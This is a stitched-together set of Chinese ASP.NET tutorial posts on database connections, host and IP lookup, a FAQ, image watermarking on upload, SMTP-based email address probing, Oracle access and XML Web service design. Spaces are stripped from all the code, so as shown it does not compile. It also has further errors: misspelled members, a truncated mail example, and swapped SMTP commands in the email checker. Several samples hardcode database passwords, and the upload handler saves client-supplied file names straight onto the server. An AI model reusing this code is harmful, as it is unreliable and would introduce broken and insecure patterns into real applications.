很多时候,我们都会习惯将数据库连接的初始化过程交给Page_Load去做,其实这样子有好处也有坏处,好处是单边问题的时候,这种方法很实用,坏处就是遇到多边的问题时,就种情况这不太好用了!例如下面的例子: ///ForExample:<scriptlanguage="C#"runat="server">SqlConnectionmySqlCon;protectedvoidPage_Load(ObjectSrc,EventArgsE){mySqlCon=newSqlConnection("server=localhost;uid=sa;pwd=sa;database=pubs");//初始化过程if(!IsPostBack)BindGrid();}publicvoidAddPublisher(Objectsender,EventArgsE){StringmyinsertCmd="insertintopublishers(pub_id,pub_name,city,state,country)values(@pubid,@pubname,@city,@state,@country)";SqlCommandmySqlCom=newSqlCommand(myinsertCmd,mySqlCon);//初始化命令调用//实现配套mySqlCom.Parameters.Add(newSqlParameter("@pubid",SqlDbType.Char,4));mySqlCom.Parameters["@pubid"].Value=Pub_Id.Text;mySqlCom.Parameters.Add(newSqlParameter("@pubname",SqlDbType.VarChar,40));mySqlCom.Parameters["@pubname"].Value=Pub_Name.Text;mySqlCom.Parameters.Add(newSqlParameter("@city",SqlDbType.VarChar,20));mySqlCom.Parameters["@city"].Value=City.Text;mySqlCom.Parameters.Add(newSqlParameter("@state",SqlDbType.Char,2));mySqlCom.Parameters["@state"].Value=State.Text;mySqlCom.Parameters.Add(newSqlParameter("@country",SqlDbType.VarChar,30));mySqlCom.Parameters["@country"].Value=Country.Text;//打开DBmySqlCom.Connection.Open();mySqlCom.ExecuteNonQuery();Message.InnerHtml="<b>已添加记录</b><br/>";mySqlCom.Connection.Close();Pub_Id.Text="";Pub_Name.Text="";City.Text="";State.Text="";Country.Text="";BindGrid();}//子函数调用publicvoidBindGrid(){SqlDataAdaptermySqlCom=newSqlDataAdapter("select*frompublisherswherepub_idlike'99%'",mySqlCon);DataSetmyds=newDataSet();mySqlCom.Fill(myds,"publishers");dgMyGrid.DataSource=myds.Tables["publishers"].DefaultView;dgMyGrid.DataBind();}</script><h2>添加一个新的发行者:</h2><br/>发行者ID应以99打头,并包含4位数字<br/>发行者ID:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<asp:textboxid="Pub_Id"runat="server"/>姓名:&nbsp;&nbsp;<asp:textboxid="Pub_Name"runat="server"/>城市:&nbsp;<asp:textboxid="City"runat="server"/><br/>省:&nbsp;<asp:textboxid="State"runat="server"/>国家:&nbsp;<asp:textboxid="Country"runat="server"/><br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<asp:buttonText="提交"OnClick="AddPublisher"runat="server"ID="Button1"/><br/><spanid="Message"runat="server"/><br/><asp:DataGridid="dgMyGrid"runat="server"/> 这样的例子初初看起来没有问题,调试也没报错,但在生成的页面添加数据后提交时就会报错,说什么属性不配套之类的话。是什么原因造成的呢!其实,这就是初始化过程在页面装载时造成的,但这里有个问题我始终没能搞清楚,就是既然是在页面初始化过程已经初始化过DB实例了,按道理来讲应该可以直接生成套用的啊,但好像没有!还是要把初始化过程放到具体的函数里面才能实现!看下面: <<scriptlanguage="C#"runat="server">protectedvoidPage_Load(ObjectSrc,EventArgsE){//页面装载过程中直接使用IF语句,其实什么也不加!if(!IsPostBack)BindGrid();}publicvoidAddPublisher(Objectsender,EventArgsE){stringstrprovider="server=localhost;uid=sa;pwd=sa;database=pubs";//构造初始化过程SqlConnectionmySqlCon=newSqlConnection(strprovider);stringmyinsertCmd="insertintopublishers(pub_id,pub_name,city,state,country)values(@pubid,@pubname,@city,@state,@country)";SqlCommandmySqlCom=newSqlCommand(myinsertCmd,mySqlCon);//初始化过程实现mySqlCom.Parameters.Add(newSqlParameter("@pubid",SqlDbType.Char,4));mySqlCom.Parameters["@pubid"].Value=Pub_Id.Text;mySqlCom.Parameters.Add(newSqlParameter("@pubname",SqlDbType.VarChar,40));mySqlCom.Parameters["@pubname"].Value=Pub_Name.Text;mySqlCom.Parameters.Add(newSqlParameter("@city",SqlDbType.VarChar,20));mySqlCom.Parameters["@city"].Value=City.Text;mySqlCom.Parameters.Add(newSqlParameter("@state",SqlDbType.Char,2));mySqlCom.Parameters["@state"].Value=State.Text;mySqlCom.Parameters.Add(newSqlParameter("@country",SqlDbType.VarChar,30));mySqlCom.Parameters["@country"].Value=Country.Text;mySqlCom.Connection.Open();mySqlCom.ExecuteNonQuery();Message.InnerHtml="<b>已添加记录</b><br>";mySqlCom.Connection.Close();Pub_Id.Text="";Pub_Name.Text="";City.Text="";State.Text="";Country.Text="";BindGrid();}publicvoidBindGrid()子函数调用时同样也要初始化DB连接{stringstrprovider="server=dev;uid=sa;pwd=pauperboyboy;database=pubs";SqlConnectionmySqlCon=newSqlConnection(strprovider);SqlDataAdaptermySqlCom=newSqlDataAdapter("select*frompublisherswherepub_idlike'99%'",mySqlCon);DataSetmyds=newDataSet();mySqlCom.Fill(myds,"publishers");dgMyGrid.DataSource=myds.Tables["publishers"].DefaultView;dgMyGrid.DataBind();}</script><h2>添加一个新的发行者:</h2><br>发行者ID应以99打头,并包含4位数字<br>发行者ID:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<asp:textboxid="Pub_Id"runat="server"/>姓名:&nbsp;&nbsp;<asp:textboxid="Pub_Name"runat="server"/>城市:&nbsp;<asp:textboxid="City"runat="server"/><br>省:&nbsp;<asp:textboxid="State"runat="server"/>国家:&nbsp;<asp:textboxid="Country"runat="server"/><br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<asp:buttonText="提交"OnClick="AddPublisher"runat="server"ID="Button1"/><br><spanid="Message"runat="server"/><br><asp:DataGridid="dgMyGrid"runat="server"/></form>> 经过这样修改后,我们才能在真正意义上实现数据的增加!
在.NET中获取一台电脑名,IP地址及当前用户名是非常简单,以下是我常用的几种方法,如果大家还有其它好的方法,可以回复一起整理: 1.在ASP.NET中专用属性: 获取服务器电脑名:Page.Server.ManchineName获取用户信息:Page.User获取客户端电脑名:Page.Request.UserHostName获取客户端电脑IP:Page.Request.UserHostAddress 2.在网络编程中的通用方法: 获取当前电脑名:staticSystem.Net.Dns.GetHostName()根据电脑名取出全部IP地址:staticSystem.Net.Dns.Resolve(电脑名).AddressList也可根据IP地址取出电脑名:staticSystem.Net.Dns.Resolve(IP地址).HostName 3.系统环境类的通用属性: 当前电脑名:staticSystem.Environment.MachineName当前电脑所属网域:staticSystem.Environment.UserDomainName当前电脑用户:staticSystem.Environment.UserName
1、ASP.NET能在那些系统中运行? 目前,ASP.NET还只能奔跑在微软的Windows2000、WindowsXP和Windows2003的系统中,并且需要微软InternetInformationServer(IIS)的支持,微软原计划要让WindowsNT4.0也支持ASP.NET,但可能微软是有些技术问题或市场考虑,还没有实现NT下的ASP.NET的支持。 2、在一个ASPX文件中是否可以使用一种以上的语言? 答案让你有点失望,虽然微软的提供了公共语言运行环境(CLR,CommonLaguageRuntime),实现了多种编程语言间的紧密集成,可以允许你从一个VB对象中导出C#所需的对象来,但一个ASPX文件中只能用一种语言,正如你不能在VB.NET中使用C#的语法一样。 3、ASPX文件的服务器端脚本支持那些语言? 目前,ASPX文件只支持C#、VisualBasic.NET、Jscript.NET和J#,但是你使用code—behind(代码分离)的方法创建一个独立代码文件,你就可以使用任何.NET编译器支持的语言来实现功能了。 4、在Global.asax文件中能使用code—behind(代码分离)技术吗? 当然可以了,例如:Global.asax:和使用code—behind(代码分离)技术Global.asax:MyApp.vb: ImportsSystem.WebImportsSystem.Web.SessionStatePublicClassMyAppSubApplication_Start(ByValsenderAsObject,ByValeAsEventArgs)Application("online_session")=0EndSubSubSession_Start(ByValsenderAsObject,ByValeAsEventArgs)Application.Lock()Application("online_session")=CInt(Application("online_session"))+1Application.UnLock()EndSubSubSession_End(ByValsenderAsObject,ByValeAsEventArgs)Application.Lock()Application("online_session")=CInt(Application("online_session"))-1Application.UnLock()EndSubEndClass 5、我能否看到ASPX文件在ASP.NET中生成的代码吗? 可以看到的,当你的ASPX文件中包含命令或Web.config中声明了时,你就可以在系统目录下的Microsoft.NET/Framework/v1.0.nnnn/TemporaryASP.NETFiles中找到ASPX文件在ASP.NET下生成的文件。 6、在ASPX文件中如何注释呢? 同ASP文件中的方法一样。 7、ASPX文件中是否可以存在一个以上服务器端Form标记? 不可以 8、我可以在Web窗体中使用自定义数据类型吗 可以,你可以把包含自定义数据类型的DLL文件放在程序根目录下的BIN目录中,ASP.NET会在数据类型引用时,装载DLL文件的。 9、我能在Global.asax文件中触发那些事件? Application对象创建和结束时所触发的事件有Application_StartApplication_End Session对象创建和结束时所触发的事件有•Session_Start•Session_End 对程序有请求发生时触发的事件有(按发生顺序排列)•Application_BeginRequest•Application_AuthenticateRequest•Application_AuthorizeRequest•Application_ResolveRequestCache•Application_AcquireRequestState•Application_PreRequestHandlerExecute•Application_PostRequestHandlerExecute•Application_ReleaseRequestState•Application_UpdateRequestCache•Application_EndRequest 当有程序有错误发生时触发的事件有•Application_Error•Application_Disposed 10、Web控件是否支持样式表(CSS)呢? 支持,所有的Web控件都从基类System.Web.UI.WebControls.WebControl中继承了一个叫做CssClass的属性。 例如: <html><head><style>.Input{font:10ptverdana;color:red;}</style></head><body><formrunat="server"><asp:TextBoxCssClass="Input"RunAt="server"/></form></body></html> 13、如何在ASP.NET程序中发送邮件呢? 在ASP.NET程序中发送邮件不再象ASP中那样需要组件的支持了,在.NET的框架基类的System.Web.Mail名称空间内包含的MailMessage和SmtpMail类可以实现这个功能。 例如:DimmessageAsnewMail.MailMessagemessage.From="web3@163.com"message.To=" 14、我将如何通过ADO.NET读取数据库中的图片并显示它呢? 下面举一个从MicrosoftSQLServer的PUB数据库读取图片并显示它的例子: <%@ImportNamespace="System.Data.SqlClient"%><%@ImportNamespace="System.Drawing"%><%@ImportNamespace="System.Drawing.Imaging"%><%@ImportNamespace="System.IO"%><scriptlanguage="VB"runat="server">SubPage_load(SenderasObject,EasEventArgs)dimstreamasnewMemoryStreamdimconnectionasSqlConnectionconnection=newSqlConnection("server=localhost;database=pubs;uid=sa;pwd=")tryconnection.Open()dimcommandasSqlCommandcommand=newSqlCommand("selectlogofrompub_infowherepub_id='0736'",connection)dimimageasbyte()image=command.ExecuteScalar()stream.Write(image,0,image.Length)dimimgbitmapasbitmapimgbitmap=newBitmap(stream)Response.ContentType="image/gif"imgbitmap.Save(Response.OutputStream,ImageFormat.Gif)Finallyconnection.Close()stream.Clse()EndTryEndSub</script>
很多时候需要在用户上传的图片上加上版权或者一些其他的附加文字信息,如何实现这样的功能,下面帖个简单实现的例子,起到抛砖引玉的作用。 <%@PageLanguage="c#"Debug="true"Trace="true"%><%@ImportNamespace="System.IO"%><%@ImportNamespace="System.Drawing"%><%@ImportNamespace="System.Drawing.Imaging"%><html><scriptrunat=server>voidUploadBtn_Click(Objectsender,EventArgse){Stringfilename;Stringfilename1;String[]filename2;intq;filename=UploadFile.PostedFile.FileName;filename2=filename.Split(newChar[]{'//'});q=filename2.GetUpperBound(0);filename1=filename2[q];dis.Text="上传文件名:"+filename1+"<br>";UploadFile.PostedFile.SaveAs(Server.MapPath(filename1));ImageEditor.Visible=true;dis.Text+="文件大小:"+UploadFile.PostedFile.ContentLength+"字节数";Image1.Src=filename1;}voidUpdateBtn_Click(Objectsender,EventArgse){Stringfilename1;filename1=Image1.Src;System.Drawing.Imageimage=System.Drawing.Image.FromFile(Server.MapPath(filename1));System.Drawing.Imagenewimage=newBitmap(image.Width,image.Height,PixelFormat.Format32bppRGB);Graphicsg=Graphics.FromImage(newimage);g.DrawImage(image,0,0,image.Width,image.Height);Fontf=newFont(FontType.SelectedItem.Text,Int32.Parse(FontSize.SelectedItem.Text));Brushb=newSolidBrush(Color.Red);g.DrawString(Caption.Text,f,b,10,140);g.Dispose();System.Drawing.ImagethumbImage=newimage.GetThumbnailImage(Int32.Parse(Width.Text),Int32.Parse(Height.Text),null,0);image.Dispose();thumbImage.Save(Server.MapPath(filename1),ImageFormat.JPEG);Image1.Src=filename1;Caption.Text="";}</script><body><asp:labelid="dis"runat=server/><formenctype="multipart/form-data"runat=server>选择上传文件:<inputid="UploadFile"type=filerunat=server><asp:buttonText="UploadMe!"OnClick="UploadBtn_Click"runat=server/><hr><asp:panelid="ImageEditor"Visible=falserunat=server><imgID="Image1"src=""runat="server"/>图像宽度:<asp:textboxid="Width"runat=server/>图像高度:<asp:textboxid="Height"runat=server/><br>文本标题:<asp:textboxid="Caption"runat=server/>标题字号:<asp:dropdownlistid="FontSize"runat=server><asp:listitem>14</asp:listitem><asp:listitem>18</asp:listitem><asp:listitem>26</asp:listitem><asp:listitem>36</asp:listitem><asp:listitem>48</asp:listitem><asp:listitem>62</asp:listitem></asp:dropdownlist>标题字体:<asp:dropdownlistid="FontType"runat=server><asp:listitem>黑体</asp:listitem><asp:listitem>仿宋</asp:listitem><asp:listitem>隶书</asp:listitem><asp:listitem>楷书</asp:listitem><asp:listitem>彩云</asp:listitem><asp:listitem>新魏</asp:listitem></asp:dropdownlist><asp:buttonText="UpdateImage"OnClick="UpdateBtn_Click"runat=server/></asp:panel></form></body></html>
Email地址有效性的检验是一个经常遇到的问题啦!一般的检验方法是对Email地址字符串进行简单的格式检验,如是否含有@.等有效字符等。这种方法只能保证该地址从格式上看似有效,并不能保证地址可达。最近进行大量的地址校验,写了一个小程序,可以检测Email地址是否真正可达。 Email地址包括两个部分:用户名和邮件服务器。因此,检验邮件地址可以分为两步进行:首先检验邮件服务器,然后检验用户名。如 通过查询DNS服务器,获取域名的MX(MailExchanger)记录,可以确定某一域名对应的邮件服务器是否有效。在Windows系统中,可以使用nslookup程序来查看这一记录。 //通过nslookup程序查询MX记录,获取域名对应的mail服务器publicstringgetMailServer(stringstrEmail){stringstrDomain=strEmail.Split('@')[1];ProcessStartInfoinfo=newProcessStartInfo();info.UseShellExecute=false;info.RedirectStandardInput=true;info.RedirectStandardOutput=true;info.FileName="nslookup";info.CreateNoWindow=true;info.Arguments="-type=mx"+strDomain;Processns=Process.Start(info);StreamReadersout=ns.StandardOutput;Regexreg=newRegex("mailexchanger=(?<mailServer>[^//s]+)");stringstrResponse="";while((strResponse=sout.ReadLine())!=null){Matchamatch=reg.Match(strResponse);if(reg.Match(strResponse).Success)returnamatch.Groups["mailServer"].Value;}returnnull;} 第二步,连接邮件服务器,确认服务器的可用性和用户是否存在 publicintcheckEmail(stringmailAddress){Regexreg=newRegex("^[a-zA-Z0-9_-]+@([a-zA-Z0-9-]+//.){1,}(com|net|edu|miz|biz|cn|cc)$");if(!reg.IsMatch(mailAddress)return405;//Email地址形式上就不对stringmailServer=getMailServer(mailAddress);if(mailServer==null){return404;//邮件服务器探测错误}TcpClienttcpc=newTcpClient();tcpc.NoDelay=true;tcpc.ReceiveTimeout=3000;tcpc.SendTimeout=3000;try{tcpc.Connect(mailServer,25);NetworkStreams=tcpc.GetStream();StreamReadersr=newStreamReader(s,Encoding.Default);StreamWritersw=newStreamWriter(s,Encoding.Default);stringstrResponse="";stringstrTestFrom="brookes_luan@yahoo.com.cn";sw.WriteLine("helo"+mailServer);sw.WriteLine("mailfrom:<"+mailAddress+">");sw.WriteLine("rcptto:<"+strTestFrom+">");strResponse=sr.ReadLine();if(!strResponse.StartsWith("2"))return403;//用户名有误sw.WriteLine("quit");return200;//Email地址检查无误}catch(Exceptionee){return403;//发生错误或邮件服务器不可达}} 这个程序是根据SMTP的基本过程实现的。与一个mail服务器连接发邮件的基本过程可能是这样的: telnetmail.brookes.com25>>220brookes.com<IMail8.02>HELO>>250mail.brookes.comMAILFROM:brookes@tsinghua.org.cn>>250OkRCPTTO:me@brookes.com>>250okitsforme@brookes.comDATA>>ok.sendit;endwith<CRLF>.<CRLF>soemdata.>>250messagequeuedQUIT>>221Goodbye. 灰色部分代码是一个常规的Email地址检查方法,检查地址形式上的有效性。 程序用到了System.IO,System.Net.Sockets,System.Diagnostics命名空间,通过checkMail(mailAddress)调用。 说明: 1.这种方法可以进一步检查Email地址的有效性,比只从形式上验证有了很大的进步。对于需要通过Email地址进行注册信息验证、发送密码等应用,可以更进一步保证有效; 2.由于Email服务器的多样和可配置性,因此次程序并不能保证结果的普遍适用; 3.对于一些大的邮件服务器,通常具有较强的反垃圾邮件功能,对于此类探测可能会作出反应,因此不适合于大量的地址探测。比如,我在探测过程中就发现了163.com服务器停止对次进行响应。
今天看了一下asp.net连接oracle数据库的方法,得到了如下代码。这段代码打开了MyTable表,并把操作员的名字列出。字段类型是OracleString。读取的时候用的是字段编号,我不知道怎么使用字段名来读取某字段的内容。下面是代码: //首先添加两条引用usingSystem.Data.OracleClient;usingSystem.Data;//在窗体上添加一个按钮,叫Button1,双击Button1,输入以下代码privatevoidButton1_Click(objectsender,System.EventArgse){stringConnectionString="DataSource=sky;user=system;password=manager;";//写连接串OracleConnectionconn=newOracleConnection(ConnectionString);//创建一个新连接try{conn.Open();OracleCommandcmd=conn.CreateCommand(); cmd.CommandText="select*fromMyTable";//在这儿写sql语句OracleDataReaderodr=cmd.ExecuteReader();//创建一个OracleDateReader对象while(odr.Read())//读取数据,如果odr.Read()返回为false的话,就说明到记录集的尾部了{Response.Write(odr.GetOracleString(1).ToString());//输出字段1,这个数是字段索引,具体怎么使用字段名还有待研究}odr.Close();}catch(Exceptionee){Response.Write(ee.Message);//如果有错误,输出错误信息}finally{conn.Close();//关闭连接}} 整个程序不是很复杂,但是也够我研究了好长时间,毕竟asp.net和asp还有vb差别很大。慢慢学吧。
使用ASP.NET构造一个简单的XMLWeb服务是相对容易的,然而,XMLWeb服务的真正的强大的功能只有等你研究了基础结构以后才能领悟。XMLWeb服务是建立在.NET框架和公共语言运行时间基础上的。一个XMLWeb服务可以利用这些技术。例如,ASP.NET支持的性能、状态管理和验证全都可被用来构造XMLWeb服务。 XMLWeb服务的基础结构是构建来符合象SOAP、XML和WSDL这样的行业标准,并且它允许其他的平台的客户端与XMLWeb服务互操作。只要一个客户端可以发送符合标准的SOAP消息、依据格式化的服务描述,那么这个客户端可以调用一个使用ASP.NET创建的XMLWeb服务(不管客户端存在于何种平台)。 当你使用ASP.NET构造一个XMLWeb服务时,它自动支持客户端使用SOAP、HTTP-GET和HTTP-POST协议通讯。即使HTTP-GET和HTTP-POST支持使用URL编码的变量名/变量值对来传送消息,支持这两个协议的数据类型也没有支持SOAP协议的数据类型丰富。在SOAP中,使用XML把数据传送到XMLWeb服务或从XMLWeb服务取回消息,你可以使用支持丰富的数据类型集的XSD模式定义复杂的数据类型。使用ASP.NET构造一个XMLWeb服务的开发者不必明确地定义复杂的数据类型。他们可以只构造一个管理类。ASP.NET处理定义到一个XSD模式的映射类和到XML数据的映射对象实例,以便通过网络传输。 重要的是要注意XMLWeb服务并不能取代DCOM,我们应该说XMLWeb服务是跨越使用行业标准的平台通信的一种消息传递基础结构。 因为ASP.NET提供了为XMLWeb服务内部工作的基础结构,开发者可以集中精力来实现他们的特定的XMLWeb服务的功能。使用ASP.NET开发一个XMLWeb服务从下面三步开始: 1.创建一个带有.asmx扩展名的文件。 2.在这个文件里面,使用一条指令声明XMLWeb服务。 3.定义组成XMLWeb服务功能的XMLWeb服务方法。 XMLWeb服务是一个强大的技术,用于提供可通过因特网变成访问的服务。下面的建议将帮助你创建高效的XMLWeb服务: XMLWeb服务既支持同步的又支持异步的客户端和存放XMLWeb服务的服务器之间的通信。在同步通信情况下,客户端发送一个对服务的请求到服务主机服务器上等待响应。这防止客户端在等待结果的时候,执行其它的操作。然而异步通信导致客户端在等待相应的时候继续处理其它的任务。客户端在可用的时候响应服务请求的结果。 当你使用Web服务描述语言工具(Wsdl.exe)来创建你的代理类的时候,它产生类中的方法的标准的、同步版本和异步版本。异步版本由两个方法组成,称为Begin和End。Begin方法用于初始化XMLWeb服务,而End方法取得结果。 使用异步通信能够改善系统使用率和避免客户端在它等待XMLWeb服务结果的时候的延迟。 下面的代码示例显示如何从一个客户应用程序产生一个到XMLWeb服务的异步调用。 [C#] <%@PageLanguage="C#"%><%@ImportNamespace="System.Net"%><html><scriptlanguage="C#"runat="server">voidEnterBtn_Click(ObjectSrc,EventArgsE){MyMath.Mathmath=newMyMath.Math();//CalltoAddXMLWebservicemethodasynchronously//andthenwaitforittocomplete.IAsyncResultresult=math.BeginAdd(Convert.ToInt32(Num1.Text),Convert.ToInt32(Num2.Text),null,null);//Waitforasynchronouscalltocomplete.result.AsyncWaitHandle.WaitOne();//CompletetheasynchronouscalltoAddXMLWebservicemethod.floattotal=math.EndAdd(result);//DisplayresultsinaLabelcontrol.Total.Text="Total:"+total.ToString();}</script><body><formaction="MathClient.aspx"runat=server><fontface="Verdana">EnterthetwonumbersyouwanttoaddandthenpresstheTotalbutton.<p>Number1:<asp:textboxid="Num1"runat=server/>+Number2:<asp:textboxid="Num2"runat=server/>=<asp:buttonid="Total_Button"text="Total"OnClick="EnterBtn_Click"runat=server/><p><asp:labelid="Total"runat=server/></font></form></body></html>[VisualBasic]<%@PageLanguage="VB"%><%@ImportNamespace="System.Net"%><html><scriptlanguage="VB"runat="server">SubEnterBtn_Click(SrcAsObject,EAsEventArgs)DimmathAsNewMyMath.Math()'CalltoAddXMLWebservicemethodasynchronously'andthenwaitforittocomplete.DimresultAsIAsyncResult=_math.BeginAdd(Convert.ToInt32(Num1.Text),_Convert.ToInt32(Num2.Text),_Nothing,_Nothing)'Waitforasynchronouscalltocomplete.result.AsyncWaitHandle.WaitOne()'CompletetheasynchronouscalltoAddXMLWebservicemethod.DimaddtotalAsSingle=math.EndAdd(result)'DisplayresultsinaLabelcontrol.Total.Text="Total:"&addtotal.ToString()EndSub</script><body><formaction="MathClient.aspx"runat=server><fontface="Verdana">EnterthetwonumbersyouwanttoaddandthenpresstheTotalbutton.<p>Number1:<asp:textboxid="Num1"runat=server/>+Number2:<asp:textboxid="Num2"runat=server/>=<asp:buttonid="Total_Button"text="Total"OnClick="EnterBtn_Click"runat=server/><p><asp:labelid="Total"runat=server/></font></form></body></html> 想获得更多关于异步通信的信息,请参阅后面的"和XMLWeb服务异步地通讯"。通过因特网产生许多服务请求可能影响客户应用程序的性能。当设计你的XMLWeb服务时,通过创建把有关信息集中在一起的方法可以有效利用服务请求。例如,假定你有一个XMLWeb服务,用来检索一本书的信息。我们可以创建一个在一条服务请求中返回所有的信息的方法,来代替单独的检索书名、作者和出版社的方法。一次传送大块的信息比多次传送小块的信息更有效率。 下面的代码示例解释如何把有关信息组织到单个XMLWeb服务方法中。 [C#] <%@WebServiceLanguage="C#"Class="DataService"%>usingSystem;usingSystem.Data;usingSystem.Data.SqlClient;usingSystem.Web.Services;publicclassDataService{[WebMethod]publicDataSetGetTitleAuthors(){SqlConnectionmyConnection=newSqlConnection("PersistSecurityInfo=False;IntegratedSecurity=SSPI;server=localhost;database=pubs");SqlDataAdaptermyCommand1=newSqlDataAdapter("select*fromAuthors",myConnection);SqlDataAdaptermyCommand2=newSqlDataAdapter("select*fromTitles",myConnection);DataSetds=newDataSet();myCommand1.Fill(ds,"Authors");myCommand2.Fill(ds,"Titles");returnds;}} [VisualBasic] <%@WebServiceLanguage="VB"Class="DataService"%>ImportsSystemImportsSystem.DataImportsSystem.Data.SqlClientImportsSystem.Web.ServicesPublicClassDataService<WebMethod>_PublicFunctionGetTitleAuthors()AsDataSetDimmyConnectionAsNewSqlConnection("PersistSecurityInfo=False;IntegratedSecurity=SSPI;server=localhost;database=pubs")DimmyCommand1AsNewSqlDataAdapter("select*fromAuthors",myConnection)DimmyCommand2AsNewSqlDataAdapter("select*fromTitles",myConnection)DimdsAsNewDataSet()myCommand1.Fill(ds,"Authors")myCommand2.Fill(ds,"Titles")ReturndsEndFunctionEndClass 当设计你的XMLWeb服务时,请确保使用标准的面向对象编程操作。使用封装来隐藏实现细节。对于更复杂的XMLWeb服务,你可以使用继承和多态性来再次使用代码并简化你的设计。 下面的代码示例显示如何使用继承来创建一个执行数学计算的XMLWeb服务。 [C#] <%@WebServiceLanguage="C#"Class="Add"%>usingSystem;usingSystem.Web.Services;abstractpublicclassMathService:WebService{ [WebMethod] abstractpublicfloatCalculateTotal(floata,floatb);}publicclassAdd:MathService{ [WebMethod] overridepublicfloatCalculateTotal(floata,floatb) {returna+b; }}publicclassSubtract:MathService{ [WebMethod] overridepublicfloatCalculateTotal(floata,floatb) {returna-b; }}publicclassMultiply:MathService{ [WebMethod] overridepublicfloatCalculateTotal(floata,floatb) {returna*b; }}publicclassDivide:MathService{ [WebMethod] overridepublicfloatCalculateTotal(floata,floatb) {if(b==0) return-1;else returna/b; }} [VisualBasic] <%@WebServiceLanguage="VB"Class="Add"%>ImportsSystemImportsSystem.Web.ServicesMustInheritPublicClassMathService:InheritsWebService<WebMethod>_PublicMustOverrideFunctionCalculateTotal(aAsSingle,_bAsSingle)AsSingleEndClassPublicClassAdd:InheritsMathService<WebMethod>PublicOverridesFunctionCalculateTotal(aAsSingle,bAsSingle)AsSingleReturna+bEndFunctionEndClassPublicClassSubtract:InheritsMathService<WebMethod>PublicOverridesFunctionCalculateTotal(aAsSingle,bAsSingle)AsSingleReturna-bEndFunctionEndClassPublicClassMultiply:InheritsMathService<WebMethod>PublicOverridesFunctionCalculateTotal(aAsSingle,bAsSingle)AsSingleReturna*bEndFunctionEndClassPublicClassDivide:InheritsMathService<WebMethod>PublicOverridesFunctionCalculateTotal(aAsSingle,bAsSingle)AsSingle Ifb=0ThenReturn-1 ElseReturna/b EndIfEndFunctionEndClass 使用输出缓冲来改善你的XMLWeb服务的性能。当输出缓冲开启时,服务请求的结果被保存在输出缓冲中一段指定的时间。如果一个类似的XMLWeb服务请求被产生,结果可以从缓冲中取得,而不用重新计算。这样就通过减少XMLWeb服务服务器所需的处理来改善了XMLWeb服务的反馈时间。高速缓存可在客户端和服务器两者上执行。Duration属性允许你指定高速缓冲保存XMLWeb服务输出的时间。 在客户端上使用输出高速缓冲的指令是: <%@OutputCacheDuration="60"%> 下面的代码示例显示如何在客户应用程序上使用Duration属性来指定输出高速缓冲为60秒。 [C#] <%@PageLanguage="C#"%><%@ImportNamespace="System.Net"%><%@OutputCacheDuration="60"VaryByParam="none"%><html><scriptlanguage="C#"runat="server">voidEnterBtn_Click(ObjectSrc,EventArgse){ MyMath.Mathmath=newMyMath.Math(); //CalltheXMLWebservice. floattotal=math.Add(Convert.ToInt32(Num1.Text), Convert.ToInt32(Num2.Text)); //DisplaytheresultsinaLabelcontrol. Total.Text="Total:"+total.ToString();}</script><body><formaction="MathClient.aspx"runat=server><fontface="Verdana">EnterthetwonumbersyouwanttoaddandpresstheTotalbutton.<p>Number1:<asp:textboxid="Num1"runat=server/>+Number2:<asp:textboxid="Num2"runat=server/>=<asp:buttonid="Total_Button"text="Total"OnClick="EnterBtn_Click"runat=server/><p><asp:labelid="Total"runat=server/></font></form></body></html> [VisualBasic] <%@PageLanguage="VB"%><%@ImportNamespace="System.Net"%><%@OutputCacheDuration="60"VaryByParam="none"%><html><scriptlanguage="VB"runat="server">SubEnterBtn_Click(SrcAsObject,eAsEventArgs) DimmathAsNewMyMath.Math() 'CalltheXMLWebservice. DimaddtotalAsSingle=math.Add(Convert.ToInt32(Num1.Text),Convert.ToInt32(Num2.Text)) 'DisplaytheresultsinaLabelcontrol. Total.Text="Total:"&addtotal.ToString()EndSub</script><body><formaction="MathClient.aspx"runat=server><fontface="Verdana">EnterthetwonumbersyouwanttoaddandpresstheTotalbutton.<p>Number1:<asp:textboxid="Num1"runat=server/>+Number2:<asp:textboxid="Num2"runat=server/>=<asp:buttonid="Total_Button"text="Total"OnClick="EnterBtn_Click"runat=server/><p><asp:labelid="Total"runat=server/></font></form></body></html> 你还可以使用WebMethod属性类的CacheDuration属性来在服务器上允许高速缓冲。下面的代码示例显示如何在XMLWeb服务方法上使用CacheDuration属性来指定输出高速缓冲为60秒。 [C#] <%@WebServiceLanguage="C#"Class="MathService"%>usingSystem;usingSystem.Web.Services;publicclassMathService:WebService{[WebMethod(CacheDuration=60)]publicfloatAdd(floata,floatb){returna+b;}[WebMethod(CacheDuration=60)]publicfloatSubtract(floata,floatb){returna-b;}[WebMethod(CacheDuration=60)]publicfloatMultiply(floata,floatb){returna*b;}[WebMethod(CacheDuration=60)]publicfloatDivide(floata,floatb){if(b==0)return-1;returna/b;}} [VisualBasic] <%@WebServiceLanguage="VB"Class="MathService"%>ImportsSystemImportsSystem.Web.ServicesPublicClassMathServiceInheritsWebService<WebMethod(CacheDuration:=60)>_PublicFunctionAdd(aAsSingle,bAsSingle)AsSingleReturna+bEndFunction<WebMethod(CacheDuration:=60)>_PublicFunctionSubtract(aAsSingle,bAsSingle)AsSingleReturna-bEndFunction<WebMethod(CacheDuration:=60)>_PublicFunctionMultiply(aAsSingle,bAsSingle)AsSingleReturna*bEndFunction<WebMethod(CacheDuration:=60)>_PublicFunctionDivide(aAsSingle,bAsSingle)AsSingleIfb=0ThenReturn-1EndIfReturna/bEndFunctionEndClass 当设计你的XMLWeb服务时,努力遵循如何格式化模式的结构。 XMLWeb服务使用SOAP作为主要的传送和序列化协议。一个SOAP消息由一个可选择的头体和消息体组成。头部分包含可以被Web服务器体系结构处理的信息。SOAP没有定义任何头。消息体部分包含由应用程序处理的信息,例如用于XMLWeb服务的参数或返回值。 提供用于你的XMLWeb服务的文档,如一个静态HTML文件,描述你的服务的操作和数据结构。还包括如何使用这个XMLWeb服务的示例。不要依靠服务描述或服务帮助页面作为你唯一的文档。
